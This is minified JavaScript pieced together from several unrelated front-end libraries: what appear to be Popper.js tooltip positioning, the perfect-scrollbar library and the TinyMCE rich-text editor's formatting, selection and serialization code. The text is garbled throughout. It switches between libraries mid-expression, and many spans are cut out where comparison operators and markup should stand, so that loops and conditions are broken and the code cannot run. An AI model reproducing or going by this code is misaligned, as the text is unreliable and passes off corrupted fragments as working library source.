M(e){return 0<=["top","bottom"].indexOf(e)?"x":"y"}function E(e){var t=e.reference,n=e.element,r=(e=e.placement)?y(e):null;e=e?e.split("-")[1]:null;var o=t.x+t.width/2-n.width/2,i=t.y+t.height/2-n.height/2;switch(r){case"top":o={x:o,y:t.y-n.height};break;case"bottom":o={x:o,y:t.y+t.height};break;case"right":o={x:t.x+t.width,y:i};break;case"left":o={x:t.x-n.width,y:i};break;default:o={x:t.x,y:t.y}}if(null!=(r=r?M(r):null))switch(i="y"===r?"height":"width",e){case"start":o[r]=Math.floor(o[r])-Math.floor(t[i]/2-n[i]/2);break;case"end":o[r]=Math.floor(o[r])+Math.ceil(t[i]/2-n[i]/2)}return o}function D(e){return Object.assign(Object.assign({},{top:0,right:0,bottom:0,left:0}),e)}function P(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function L(e,n){void 0===n&&(n={});var r=n;n=void 0===(n=r.placement)?e.placement:n;var i=r.boundary,a=void 0===i?"clippingParents":i,f=void 0===(i=r.rootBoundary)?"viewport":i;i=void 0===(i=r.elementContext)?"popper":i;var c=r.altBoundary,p=void 0!==c&&c;r=D("number"!=typeof(r=void 0===(r=r.padding)?0:r)?r:P(r,T));var l=e.elements.reference;c=e.rects.popper,a=j(o(p=e.elements[p?"popper"===i?"reference":"popper":i])?p:p.contextElement||s(e.elements.popper),a,f),p=E({reference:f=t(l),element:c,strategy:"absolute",placement:n}),c=w(Object.assign(Object.assign({},c),p)),f="popper"===i?c:f;var u={top:a.top-f.top+r.top,bottom:f.bottom-a.bottom+r.bottom,left:a.left-f.left+r.left,right:f.right-a.right+r.right};if(e=e.modifiersData.offset,"popper"===i&&e){var d=e[n];Object.keys(u).forEach((function(e){var t=0<=["right","bottom"].indexOf(e)?1:-1,n=0<=["top","bottom"].indexOf(e)?"y":"x";u[e]+=d[n]*t}))}return u}function k(){for(var e=arguments.length,t=Array(e),n=0;n(v.devicePixelRatio||1)?"translate("+e+"px, "+l+"px)":"translate3d("+e+"px, "+l+"px, 0)",d)):Object.assign(Object.assign({},r),{},((t={})[h]=a?l+"px":"",t[m]=u?e+"px":"",t.transform="",t))}function A(e){return e.replace(/left|right|bottom|top/g,(function(e){return G[e]}))}function H(e){return e.replace(/start|end/g,(function(e){return J[e]}))}function R(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function S(e){return["top","right","bottom","left"].some((function(t){return 0<=e[t]}))}var T=["top","bottom","right","left"],q=T.reduce((function(e,t){return e.concat([t+"-start",t+"-end"])}),[]),C=[].concat(T,["auto"]).reduce((function(e,t){return e.concat([t,t+"-start",t+"-end"])}),[]),N="beforeRead read afterRead beforeMain main afterMain beforeWrite write afterWrite".split(" "),V={placement:"bottom",modifiers:[],strategy:"absolute"},I={passive:!0},_={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,r=e.instance,o=(e=e.options).scroll,i=void 0===o||o,a=void 0===(e=e.resize)||e,s=n(t.elements.popper),f=[].concat(t.scrollParents.reference,t.scrollParents.popper);return i&&f.forEach((function(e){e.addEventListener("scroll",r.update,I)})),a&&s.addEventListener("resize",r.update,I),function(){i&&f.forEach((function(e){e.removeEventListener("scroll",r.update,I)})),a&&s.removeEventListener("resize",r.update,I)}},data:{}},U={name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state;t.modifiersData[e.name]=E({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}},z={top:"auto",right:"auto",bottom:"auto",left:"auto"},F={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options;e=void 0===(e=n.gpuAcceleration)||e,n=void 0===(n=n.adaptive)||n,e={placement:y(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:e},null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign(Object.assign({},t.styles.popper),W(Object.assign(Object.assign({},e),{},{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:n})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign(Object.assign({},t.styles.arrow),W(Object.assign(Object.assign({},e),{},{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1})))),t.attributes.popper=Object.assign(Object.assign({},t.attributes.popper),{},{"data-popper-placement":t.placement})},data:{}},X={name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},r=t.attributes[e]||{},o=t.elements[e];i(o)&&a(o)&&(Object.assign(o.style,n),Object.keys(r).forEach((function(e){var t=r[e];!1===t?o.removeAttribute(e):o.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var r=t.elements[e],o=t.attributes[e]||{};e=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{}),i(r)&&a(r)&&(Object.assign(r.style,e),Object.keys(o).forEach((function(e){r.removeAttribute(e)})))}))}},requires:["computeStyles"]},Y={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.name,r=void 0===(e=e.options.offset)?[0,0]:e,o=(e=C.reduce((function(e,n){var o=t.rects,i=y(n),a=0<=["left","top"].indexOf(i)?-1:1,s="function"==typeof r?r(Object.assign(Object.assign({},o),{},{placement:n})):r;return o=(o=s[0])||0,s=((s=s[1])||0)*a,i=0<=["left","right"].indexOf(i)?{x:s,y:o}:{x:o,y:s},e[n]=i,e}),{}))[t.placement],i=o.x;o=o.y,null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=i,t.modifiersData.popperOffsets.y+=o),t.modifiersData[n]=e}},G={left:"right",right:"left",bottom:"top",top:"bottom"},J={start:"end",end:"start"},K={name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options;if(e=e.name,!t.modifiersData[e]._skip){var r=n.mainAxis;r=void 0===r||r;var o=n.altAxis;o=void 0===o||o;var i=n.fallbackPlacements,a=n.padding,s=n.boundary,f=n.rootBoundary,c=n.altBoundary,p=n.flipVariations,l=void 0===p||p,u=n.allowedAutoPlacements;p=y(n=t.options.placement),i=i||(p!==n&&l?function(e){if("auto"===y(e))return[];var t=A(e);return[H(e),t,H(t)]}(n):[A(n)]);var d=[n].concat(i).reduce((function(e,n){return e.concat("auto"===y(n)?function(e,t){void 0===t&&(t={});var n=t.boundary,r=t.rootBoundary,o=t.padding,i=t.flipVariations,a=t.allowedAutoPlacements,s=void 0===a?C:a,f=t.placement.split("-")[1];0===(i=(t=f?i?q:q.filter((function(e){return e.split("-")[1]===f})):T).filter((function(e){return 0<=s.indexOf(e)}))).length&&(i=t);var c=i.reduce((function(t,i){return t[i]=L(e,{placement:i,boundary:n,rootBoundary:r,padding:o})[y(i)],t}),{});return Object.keys(c).sort((function(e,t){return c[e]-c[t]}))}(t,{placement:n,boundary:s,rootBoundary:f,padding:a,flipVariations:l,allowedAutoPlacements:u}):n)}),[]);n=t.rects.reference,i=t.rects.popper;var m=new Map;p=!0;for(var h=d[0],g=0;gi[x]&&(O=A(O)),x=A(O),w=[],r&&w.push(0>=j[b]),o&&w.push(0>=j[O],0>=j[x]),w.every((function(e){return e}))){h=v,p=!1;break}m.set(v,w)}if(p)for(r=function(e){var t=d.find((function(t){if(t=m.get(t))return t.slice(0,e).every((function(e){return e}))}));if(t)return h=t,"break"},o=l?3:1;0n[h]&&(a.reach[i]="start"),n[h]>a[f]-a[g]-1&&(a.reach[i]="end"),b&&(n.dispatchEvent(k("ps-scroll-"+i)),0>b?n.dispatchEvent(k("ps-scroll-"+l)):0=a.railXWidth-a.scrollbarXWidth&&(a.scrollbarXLeft=a.railXWidth-a.scrollbarXWidth),a.scrollbarYTop>=a.railYHeight-a.scrollbarYHeight&&(a.scrollbarYTop=a.railYHeight-a.scrollbarYHeight),s(c,a),a.scrollbarXActive?c.classList.add(z.state.active("x")):(c.classList.remove(z.state.active("x")),a.scrollbarXWidth=0,a.scrollbarXLeft=0,c.scrollLeft=!0===a.isRtl?a.contentWidth:0),a.scrollbarYActive?c.classList.add(z.state.active("y")):(c.classList.remove(z.state.active("y")),a.scrollbarYHeight=0,a.scrollbarYTop=0,c.scrollTop=0)}function r(a,b){var c=Math.min,d=Math.max;return a.settings.minScrollbarLength&&(b=d(b,a.settings.minScrollbarLength)),a.settings.maxScrollbarLength&&(b=c(b,a.settings.maxScrollbarLength)),b}function s(a,c){var d={width:c.railXWidth},e=v(a.scrollTop);d.left=c.isRtl?c.negativeScrollAdjustment+a.scrollLeft+c.containerWidth-c.contentWidth:a.scrollLeft,c.isScrollbarXUsingBottom?d.bottom=c.scrollbarXBottom-e:d.top=c.scrollbarXTop+e,b(c.scrollbarXRail,d);var f={top:e,height:c.railYHeight};c.isScrollbarYUsingRight?c.isRtl?f.right=c.contentWidth-(c.negativeScrollAdjustment+a.scrollLeft)-c.scrollbarYRight-c.scrollbarYOuterWidth-9:f.right=c.scrollbarYRight-a.scrollLeft:c.isRtl?f.left=c.negativeScrollAdjustment+a.scrollLeft+2*c.containerWidth-c.contentWidth-c.scrollbarYLeft-c.scrollbarYOuterWidth:f.left=c.scrollbarYLeft+a.scrollLeft,b(c.scrollbarYRail,f),b(c.scrollbarX,{left:c.scrollbarXLeft,width:c.scrollbarXWidth-c.railBorderXWidth}),b(c.scrollbarY,{top:c.scrollbarYTop,height:c.scrollbarYHeight-c.railBorderYWidth})}function t(a,b){function c(b){b.touches&&b.touches[0]&&(b[k]=b.touches[0].pageY),s[o]=t+v*(b[k]-u),g(a,p),q(a),b.stopPropagation(),b.preventDefault()}function d(){h(a,p),a[r].classList.remove(z.state.clicking),a.event.unbind(a.ownerDocument,"mousemove",c)}function f(b,e){t=s[o],e&&b.touches&&(b[k]=b.touches[0].pageY),u=b[k],v=(a[j]-a[i])/(a[l]-a[n]),e?a.event.bind(a.ownerDocument,"touchmove",c):(a.event.bind(a.ownerDocument,"mousemove",c),a.event.once(a.ownerDocument,"mouseup",d),b.preventDefault()),a[r].classList.add(z.state.clicking),b.stopPropagation()}var i=b[0],j=b[1],k=b[2],l=b[3],m=b[4],n=b[5],o=b[6],p=b[7],r=b[8],s=a.element,t=null,u=null,v=null;a.event.bind(a[m],"mousedown",function(a){f(a)}),a.event.bind(a[m],"touchstart",function(a){f(a,!0)})}var w="undefined"!=typeof Element&&(Element.prototype.matches||Element.prototype.webkitMatchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector),z={main:"ps",rtl:"ps__rtl",element:{thumb:function(a){return"ps__thumb-"+a},rail:function(a){return"ps__rail-"+a},consuming:"ps__child--consume"},state:{focus:"ps--focus",clicking:"ps--clicking",active:function(a){return"ps--active-"+a},scrolling:function(a){return"ps--scrolling-"+a}}},A={x:null,y:null},B=function(a){this.element=a,this.handlers={}},C={isEmpty:{configurable:!0}};B.prototype.bind=function(a,b){"undefined"==typeof this.handlers[a]&&(this.handlers[a]=[]),this.handlers[a].push(b),this.element.addEventListener(a,b,!1)},B.prototype.unbind=function(a,b){var c=this;this.handlers[a]=this.handlers[a].filter(function(d){return!!(b&&d!==b)||(c.element.removeEventListener(a,d,!1),!1)})},B.prototype.unbindAll=function(){for(var a in this.handlers)this.unbind(a)},C.isEmpty.get=function(){var a=this;return Object.keys(this.handlers).every(function(b){return 0===a.handlers[b].length})},Object.defineProperties(B.prototype,C);var D=function(){this.eventElements=[]};D.prototype.eventElement=function(a){var b=this.eventElements.filter(function(b){return b.element===a})[0];return b||(b=new B(a),this.eventElements.push(b)),b},D.prototype.bind=function(a,b,c){this.eventElement(a).bind(b,c)},D.prototype.unbind=function(a,b,c){var d=this.eventElement(a);d.unbind(b,c),d.isEmpty&&this.eventElements.splice(this.eventElements.indexOf(d),1)},D.prototype.unbindAll=function(){this.eventElements.forEach(function(a){return a.unbindAll()}),this.eventElements=[]},D.prototype.once=function(a,b,c){var d=this.eventElement(a),e=function(a){d.unbind(b,e),c(a)};d.bind(b,e)};var E={isWebKit:"undefined"!=typeof document&&"WebkitAppearance"in document.documentElement.style,supportsTouch:"undefined"!=typeof window&&("ontouchstart"in window||"maxTouchPoints"in window.navigator&&0a.scrollbarYTop?1:-1;a.element.scrollTop+=d*a.containerHeight,q(a),b.stopPropagation()}),a.event.bind(a.scrollbarX,"mousedown",function(a){return a.stopPropagation()}),a.event.bind(a.scrollbarXRail,"mousedown",function(b){var c=b.pageX-window.pageXOffset-a.scrollbarXRail.getBoundingClientRect().left,d=c>a.scrollbarXLeft?1:-1;a.element.scrollLeft+=d*a.containerWidth,q(a),b.stopPropagation()})},"drag-thumb":function(a){t(a,["containerWidth","contentWidth","pageX","railXWidth","scrollbarX","scrollbarXWidth","scrollLeft","x","scrollbarXRail"]),t(a,["containerHeight","contentHeight","pageY","railYHeight","scrollbarY","scrollbarYHeight","scrollTop","y","scrollbarYRail"])},keyboard:function(a){function b(b,d){var e=v(c.scrollTop);if(0===b){if(!a.scrollbarYActive)return!1;if(0===e&&0=a.contentHeight-a.containerHeight&&0>d)return!a.settings.wheelPropagation}var f=c.scrollLeft;if(0===d){if(!a.scrollbarXActive)return!1;if(0===f&&0>b||f>=a.contentWidth-a.containerWidth&&0u(a)?f||g:i||j,!d||!b.settings.wheelPropagation}function d(a){var b=a.deltaX,c=-1*a.deltaY;return("undefined"==typeof b||"undefined"==typeof c)&&(b=-1*a.wheelDeltaX/6,c=a.wheelDeltaY/6),a.deltaMode&&1===a.deltaMode&&(b*=10,c*=10),b!==b&&c!==c/* NaN checks */&&(b=0,c=a.wheelDelta),a.shiftKey?[-c,-b]:[b,c]}function f(b,c,d){// FIXME: this is a workaround for ', '', "
  • "+i+"
  • "),r=(a=Ss(t))&&t.schema.isValidChild(n.nodeName.toLowerCase(),a.toLowerCase())?(r=i,t.dom.createHTML(a,Es(t),r)):r||'
    ',Ng(t,r,o.no_selection),t.fire("SetContent",o)):("raw"!==o.format&&(r=nm({validate:t.validate},t.schema).serialize(t.parser.parse(r,{isRootContent:!0,insert:!0}))),o.content=vo(Nt.fromDom(n))?r:Et.trim(r),Ng(t,o.content,o.no_selection),o.no_events||t.fire("SetContent",o)),o.content);var t,n,r,o,i,a})}function _g(e){return y(e)?e:R}function Ag(i,e,t){var n=e(i),a=_g(t);return n.orThunk(function(){return a(i)?ve.none():function(e){for(var t=i.dom,n=_g(a);t.parentNode;){var t=t.parentNode,r=Nt.fromDom(t),o=e(r);if(o.isSome())return o;if(n(r))break}return ve.none()}(e)})}function Rg(e,t,n){var r=e.formatter.get(n);if(r)for(var o=0;o=o.nodeValue.length&&(o=new Rr(o,e.getBody()).next()||o),jn(o)&&!n&&0===i&&new Rr(o,e.getBody()).prev()||o}function Dp(e,t){var n=t?"firstChild":"lastChild";if(/^(TR|TH|TD)$/.test(e.nodeName)&&e[n]){var r=e[n];return"TR"===e.nodeName&&r[n]||r}return e}function Tp(e,t,n,r){var o=e.create(n,r);return t.parentNode.insertBefore(o,t),o.appendChild(t),o}function Op(e,t,n,r,o){var i=Nt.fromDom(t),a=Nt.fromDom(e.create(r,o));return Kt(a,(n?It:Lt)(i)),n?(qt(i,a),Wt(a,i)):($t(i,a),Pn(a,i)),a.dom}function Bp(e,t,n,r){var o=el(t,n,r);return K(o)||"BR"===o.nodeName||e.isBlock(o)}function Pp(e,r,o,t,i){var n,a,u=e.dom,s=u,c=t;if(!(dl(a=r)&&kh(c,a.inline)||ll(a)&&kh(c,a.block)||fl(a)&&(zn(c)&&s.is(c,a.selector))||r.links&&"A"===t.nodeName))return Sh.keep();var l,f,d,m,g,p,h,v,b=t;if(dl(r)&&"all"===r.remove&&S(r.preserve_attributes)){var y=U(u.getAttribs(b),function(e){return D(r.preserve_attributes,e.name.toLowerCase())});if(u.removeAllAttribs(b),Y(y,function(e){return u.setAttrib(b,e.name,e.value)}),0e?t.cells.length:e},0)}function Kp(e,t){for(var n=e.rows,r=0;r")?{type:"fragmented",fragments:t,content:"",bookmark:null,beforeBookmark:null}:{type:"complete",fragments:null,content:r,bookmark:null,beforeBookmark:null}}function ih(e,t,n){var r,o,i,g,p,a,h,v,c,l,u,s=n?t.beforeBookmark:t.bookmark;function b(e,t,n,r){for(var o=e;o-tc){for(var l=0;l]*>( | |\\s|\xa0|
    |)<\\/"+u+">[\r\n]*|
    [\r\n]*)$"),a.replace(s,"")),D(["text","tree"],l.format)||vo(Nt.fromDom(r))?l.content=f:l.content=Et.trim(f),(l.no_events?l:t.fire("GetContent",l)).content;var t,n,r,o,i,a,u,s,c,l,f});var d,m,g},setContent:function(e,t){return kg(c,e,t)},insertContent:function(e,t){return Sg(c,e,t)},addVisual:function(e){var i,t=e,a=(i=c).dom,n=V(t)?t:i.getBody();b(i.hasVisual)&&(i.hasVisual=i.getParam("visual",!0,"boolean")),Y(a.select("table,a",n),function(e){switch(e.nodeName){case"TABLE":var t=i.getParam("visual_table_class","mce-item-table","string"),n=a.getAttrib(e,"border");n&&"0"!==n||!i.hasVisual?a.removeClass(e,t):a.addClass(e,t);break;case"A":var r,o;a.getAttrib(e,"href")||(r=a.getAttrib(e,"name")||e.id,o=i.getParam("visual_anchor_class","mce-item-anchor","string"),r&&i.hasVisual?a.addClass(e,o):a.removeClass(e,o))}}),i.fire("VisualAid",{element:t,hasVisual:i.hasVisual})}},selection:{getContent:function(e,t){return function(e,t,n){var r,o=(r=t,_e(_e({},n=void 0===n?{}:n),{format:r,get:!0,selection:!0})),i=e.fire("BeforeGetContent",o);if(i.isDefaultPrevented())return e.fire("GetContent",i),i.content;if("text"===i.format)return m=e,ve.from(m.selection.getRng()).map(function(e){var t=ve.from(m.dom.getParent(e.commonAncestorContainer,m.dom.isBlock)),n=m.getBody(),r=t.map(function(e){return e.nodeName}).getOr("div").toLowerCase(),o=xt.browser.isIE()&&"pre"!==r,i=m.dom.add(n,r,{"data-mce-bogus":"all",style:"overflow: hidden; opacity: 0;"},e.cloneContents()),a=th(i,o),u=wo(i.textContent);if(m.dom.remove(i),eh(u,0)||eh(u,u.length-1)){var s=th(t.getOr(n),o),c=s.indexOf(a);return-1===c?a:(eh(s,c-1)?" ":"")+a+(eh(s,c+a.length)?" ":"")}return a}).getOr("");i.getInner=!0;var a,u,s,c,l,f,d,m,g=(u=i,s=(a=e).selection.getRng(),c=a.dom.create("body"),l=a.selection.getSel(),f=wd(a,Nl(l)),(d=u.contextual?Zp(Nt.fromDom(a.getBody()),f).dom:s.cloneContents())&&c.appendChild(d),a.selection.serializer.serialize(c,u));return"tree"===i.format?g:(i.content=e.selection.isCollapsed()?"":g,e.fire("GetContent",i),i.content)}(c,e,t)}},raw:{getModel:function(){return ve.none()}}}}function mh(e){return Ne(e.plugins,"rtc")}function gh(e){var u=e;return ue(e.plugins,"rtc").bind(function(e){return ve.from(e.setup)}).fold(function(){return u.rtcInstance=dh(e),ve.none()},function(e){var t,n;return u.rtcInstance=(t=J(null),n=J(""),{undoManager:{beforeChange:te,add:t,undo:t,redo:t,clear:te,reset:te,hasUndo:R,hasRedo:R,transact:t,ignore:te,extra:te},formatter:{match:R,matchAll:J([]),matchNode:J(void 0),canApply:R,closest:n,apply:te,remove:te,toggle:te,formatChanged:J({unbind:te})},editor:{getContent:n,setContent:n,insertContent:te,addVisual:te},selection:{getContent:n},raw:{getModel:J(ve.none())}}),ve.some(function(){return e().then(function(e){return u.rtcInstance=(i=e.undoManager,a=e.formatter,n=e.editor,r=e.selection,t=e.raw,{undoManager:{beforeChange:i.beforeChange,add:i.add,undo:i.undo,redo:i.redo,clear:i.clear,reset:i.reset,hasUndo:i.hasUndo,hasRedo:i.hasRedo,transact:function(e,t,n){return i.transact(n)},ignore:function(e,t){return i.ignore(t)},extra:function(e,t,n,r){return i.extra(n,r)}},formatter:{match:function(e,t,n,r){return a.match(e,o(t),r)},matchAll:a.matchAll,matchNode:a.matchNode,canApply:function(e){return a.canApply(e)},closest:function(e){return a.closest(e)},apply:function(e,t,n){return a.apply(e,o(t))},remove:function(e,t,n,r){return a.remove(e,o(t))},toggle:function(e,t,n){return a.toggle(e,o(t))},formatChanged:function(e,t,n,r,o){return a.formatChanged(t,n,r,o)}},editor:{getContent:function(e,t){return n.getContent(e)},setContent:function(e,t){return n.setContent(e,t)},insertContent:function(e,t){return n.insertContent(e)},addVisual:n.addVisual},selection:{getContent:function(e,t){return r.getContent(t)}},raw:{getModel:function(){return ve.some(t.getRawModel())}}}),e.rtc.isRemote;function o(e){return h(e)?e:{}}var i,a,n,r,t})})})}function ph(e){return e.rtcInstance||dh(e)}function hh(e){var t=e.rtcInstance;if(t)return t;throw new Error("Failed to get RTC instance not yet initialized.")}function vh(e){return 0===e.dom.length?(Ln(e),ve.none()):ve.some(e)}function bh(e,t,u,s){e.bind(function(a){return(s?Um:Fm)(a.dom,s?a.dom.length:0),t.filter(_n).map(function(e){var t=u,n=s,r=a.dom,o=e.dom,i=(n?r:o).length;n?(zm(r,o,!1,!n),t.setStart(o,i)):(zm(o,r,!1,!n),t.setEnd(o,i))})}).orThunk(function(){var e=s;return t.filter(function(e){return Fl.isBookmarkNode(e.dom)}).bind(e?Pt:Bt).or(t).filter(_n).map(function(e){var n,r=s;Ot(n=e).each(function(e){var t=n.dom;r&&Dm(e,as(t,0))?Fm(t,0):!r&&Tm(e,as(t,t.length))&&Um(t,t.length)})})})}function yh(e,t,n){var r,o=(r=t,_e(_e({format:"html"},n=void 0===n?{}:n),{set:!0,selection:!0,content:r})),i=o;if(!o.no_events){var a=e.fire("BeforeSetContent",o);if(a.isDefaultPrevented())return void e.fire("SetContent",a);i=a}i.content=function(e,t){if("raw"===t.format)return t.content;var n=e.selection.getRng(),r=e.dom.getParent(n.commonAncestorContainer,e.dom.isBlock),o=r?{context:r.nodeName.toLowerCase()}:{},i=e.parser.parse(t.content,_e(_e({isRootContent:!0,forced_root_block:!1},o),t));return nm({validate:e.validate},e.schema).serialize(i)}(e,i);var u=e.selection.getRng();!function(e,t){var n=ve.from(t.firstChild).map(Nt.fromDom),r=ve.from(t.lastChild).map(Nt.fromDom);e.deleteContents(),e.insertNode(t);var o=n.bind(Bt).filter(_n).bind(vh),i=r.bind(Pt).filter(_n).bind(vh);bh(o,n,e,!0),bh(i,r,e,!1),e.collapse(!1)}(u,u.createContextualFragment(i.content)),e.selection.setRng(u),Zf(e,u),i.no_events||e.fire("SetContent",i)}function Ch(e,t,n){var r;e&&Ne(e,t)&&(0===(r=U(e[t],function(e){return e!==n})).length?delete e[t]:e[t]=r)}qg=function(e){var t,n=e.selection.getRng(),r=on(["pre"]);n.collapsed||(t=e.selection.getSelectedBlocks(),xp(Cp(Cp(t,r),function(e){return r(e.previousSibling)&&-1!==de(t,e.previousSibling)}),function(e){var t,n=e.previousSibling;Wa(t=e).remove(),Wa(n).append("

    ").append(t.childNodes)}))},yp["pre"]||(yp.pre=[]),yp.pre.push(qg);var xh=Et.each,wh=function(e,t,n){xh(e.childNodes,function(e){wp(e)&&(t(e)&&n(e),e.hasChildNodes()&&wh(e,t,n))})},Sh=or([{keep:[]},{rename:["name"]},{removed:[]}]),Eh=/^(src|href|style)$/,Nh=Et.each,kh=ol,_h=Et.each,Ah=Et.each,Rh=function(S,E,N,r){function k(n,e){var t;y((e=void 0===e?A:e).onformat)&&e.onformat(n,e,N,r),Ah(e.styles,function(e,t){u.setStyle(n,t,rl(e,N))}),!e.styles||(t=u.getAttrib(n,"style"))&&u.setAttrib(n,"data-mce-style",t),Ah(e.attributes,function(e,t){u.setAttrib(n,t,rl(e,N))}),Ah(e.classes,function(e){e=rl(e,N),u.hasClass(n,e)||u.addClass(n,e)})}function g(e,t){var n=!1;return Ah(e,function(e){return!!fl(e)&&(V(e.collapsed)&&e.collapsed!==a||!u.is(t,e.selector)||zc(t)?void 0:(k(t,e),!(n=!0)))}),n}function o(x,e,l){var w=[],f=!0,d=A.inline||A.block,m=function(e){if(X(e)){var t=u.create(e);return k(t),t}return null}(d);El(x,e,function(e){var s,c=function(e){var t=!1,n=f,r=e.nodeName.toLowerCase(),o=e.parentNode,i=o.nodeName.toLowerCase();if(zn(e)&&x.getContentEditable(e)&&(n=f,f="true"===x.getContentEditable(e),t=!0),Wn(e)&&!function(e,t,n,r){if(e.getParam("format_empty_lines",!1,"boolean")&&dl(t)){var o=_e(_e({},e.schema.getTextBlockElements()),{td:{},th:{},li:{},dt:{},dd:{},figcaption:{},caption:{},details:{},summary:{}}),i=(a=Nt.fromDom(n),s=function(e){return zc(e.dom)},((c=(u=a).dom).parentNode?Nr(Nt.fromDom(c.parentNode),function(e){return!je(u,e)&&s(e)}):ve.none()).isSome());return se(o,r)&&Wr(Nt.fromDom(n.parentNode),!1)&&!i}var a,u,s,c}(S,A,e,i))return s=null,void(ll(A)&&x.remove(e));if(ll(A)&&A.wrapper&&hp(S,e,E,N))s=null;else{if(f&&!t&&ll(A)&&!A.wrapper&&tl(S,r)&&nl(S,i,d)){var a=x.rename(e,d);return k(a),w.push(a),void(s=null)}if(fl(A)){var u=g(_,e);if(!u&&V(o)&&ml(A)&&(u=g(_,o)),!dl(A)||u)return void(s=null)}!f||t||!nl(S,d,r)||!nl(S,i,d)||!l&&jn(e)&&xo(e.data)||zc(e)||dl(A)&&x.isBlock(e)?(s=null,Y(xe(e.childNodes),c),t&&(f=n),s=null):(s||(s=x.clone(m,!1),e.parentNode.insertBefore(s,e),w.push(s)),s.appendChild(e))}};Y(e,c)}),!0===A.links&&Y(w,function(e){var t=function(e){"A"===e.nodeName&&k(e,A),Y(xe(e.childNodes),t)};t(e)}),Y(w,function(e){var n,t,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y=(n=0,Y(e.childNodes,function(e){var t;V(t=e)&&jn(t)&&0===t.length||Yc(e)||n++}),n);function C(e){var t;1===e.nodeType&&e.parentNode&&1===e.parentNode.nodeType&&(t=ul(m,e.parentNode),m.getStyle(e,"color")&&t?m.setStyle(e,"text-decoration",t):m.getStyle(e,"text-decoration")===t&&m.setStyle(e,"text-decoration",null))}!(1t.clientHeight){e=t;break}t=t.parentNode}return e},scrollIntoView:function(e,t){V(e)?(s.inline?Gf:Qf)(s,e,t):Zf(s,p(),t)},placeCaretAt:function(e,t){return h(wf(e,t,s.getDoc()))},getBoundingClientRect:function(){var e=p();return e.collapsed?as.fromRangeStart(e).getClientRects()[0]:e.getBoundingClientRect()},destroy:function(){u=l=f=null,y.destroy()}},b=Fl(v),y=Cf(v,s);function C(t,e){return M(e,function(e){return o.is(e,t)})}function x(e){return o.getParents(e,null,o.getRoot())}return v.bookmarkManager=b,v.controlSelection=y,v}function Ih(e,t){var n,r,a,u,o=ro();t.convert_fonts_to_spans&&(r=e,a=o,u=Et.explode(t.font_size_legacy_values),r.addNodeFilter("font",function(e){Y(e,function(e){var t,n=a.parse(e.attr("style")),r=e.attr("color"),o=e.attr("face"),i=e.attr("size");r&&(n.color=r),o&&(n["font-family"]=o),i&&(n["font-size"]=u[parseInt(e.attr("size"),10)-1]),e.name="span",e.attr("style",a.serialize(n)),t=e,Y(["color","face","size"],function(e){t.attr(e,null)})})})),n=o,e.addNodeFilter("strike",function(e){Y(e,function(e){var t=n.parse(e.attr("style"));t["text-decoration"]="line-through",e.name="span",e.attr("style",n.serialize(t))})})}function Mh(e){var t,n=decodeURIComponent(e).split(","),r=/data:([^;]+)/.exec(n[0]);return{type:t=r?r[1]:t,data:n[1]}}function Fh(e,t){var n;try{n=atob(t)}catch(e){return ve.none()}for(var r=new Uint8Array(n.length),o=0;o)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*(()?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")},r=e.length;r--;){var o,i=e[r],a=i.firstChild?i.firstChild.value:"";"script"===t?((o=i.attr("type"))&&i.attr("type","mce-no/type"===o?null:o.replace(/^mce\-/,"")),"xhtml"===s.element_format&&0")):"xhtml"===s.element_format&&0)\s*/g,"$1"),Et.map(s.split(/(?:>|\s+(?![^\[\]]+\]))/),function(e){var t=Et.map(e.split(/(?:~\+|~|\+)/),Yv),n=t.pop();return t.length&&(n.siblings=t),n}).reverse()):[],f=l.length?(l[0].name||(l[0].name=c),c=e.selector,Xv(l,n)):Xv([c],n),d=dy.select(c,f)[0]||f.firstChild;return fy(e.styles,function(e,t){var n=a(e);n&&dy.setStyle(d,t,n)}),fy(e.attributes,function(e,t){var n=a(e);n&&dy.setAttrib(d,t,n)}),fy(e.classes,function(e){var t=a(e);dy.hasClass(d,t)||dy.addClass(d,t)}),n.fire("PreviewFormats"),dy.setStyles(f,{position:"absolute",left:-65535}),n.getBody().appendChild(f),r=dy.getStyle(n.getBody(),"fontSize",!0),r=/px$/.test(r)?parseInt(r,10):0,fy(i.split(" "),function(e){var t=dy.getStyle(d,e,!0);if(!("background-color"===e&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(t)&&(t=dy.getStyle(n.getBody(),e,!0),"#ffffff"===dy.toHex(t).toLowerCase())||"color"===e&&"#000000"===dy.toHex(t).toLowerCase())){if("font-size"===e&&/em|%$/.test(t)){if(0===r)return;t=parseFloat(t)/(/%$/.test(t)?100:1)*r+"px"}"border"===e&&t&&(o+="padding:0 